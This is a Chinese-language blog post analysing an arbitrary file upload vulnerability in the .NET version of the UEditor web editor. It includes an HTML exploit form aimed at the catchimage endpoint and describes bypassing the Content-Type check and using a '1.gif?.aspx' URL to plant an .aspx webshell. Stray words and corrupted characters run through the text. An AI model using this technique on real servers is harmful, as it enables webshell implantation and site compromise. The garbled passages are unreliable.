UEditor编辑器任意文件上传漏洞分析

ue下载地址
http://http://ueditor.baidu.com/website/download.html
exphtml

<form action="http://192.168.1.103/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">

  <p>shell addr:<input type="text" name="source[]" /></p >

  <inputtype="submit" value="Submit" />

</form>

咱们首先来看一下目录结构web

ue是一个典型的net webshell

bin目录和app_code目录其中bin下面引用的是jsondll 所以这里咱们不分析dlljson

主要仍是看app_code目录下面的cs文件 首先随便跟进一个方法看看有没有任意文件上传的可能性app

首先看到uploadimages方法url

而这里正好是由于引用了上面的dll 因此能够直接加载jsonspa

这里第一步先实例化UploadHandler类 而后第二部从json获取各类配置信息 穿给类里面的值code

传递完成值后直接开始上传方法orm

而后对上传文件进行判断htm

咱们跟进方法

那么漏洞是怎么造成的呐?

漏洞在CrawlerHandler这个类里面

若是访问则直接判断返回文件的ContentType 这里咱们能够直接Content-Type: image/png绕过

这里先传入source[] 而后实列化Crawler类 咱们进入这个class查看 首先经过IsExternalIPAddress方法判断是不是一个可被DNS解析的域名地址

那么他文件名是怎么获取的呐?

这里能够很清楚的看见也是http://SYSTEM.IO里面的个体filename获取最后一个点结尾的 可是咱们又不能以.aspx结尾 这里问好就起做用了,再url里面1.gif?.aspx会被默认当成1.gif解析可是传递给咱们的文件ext倒是.aspx结尾的

因此漏洞由此形成
参考
https://www.freebuf.com/vuls/181814.html

相关文章
相关标签/搜索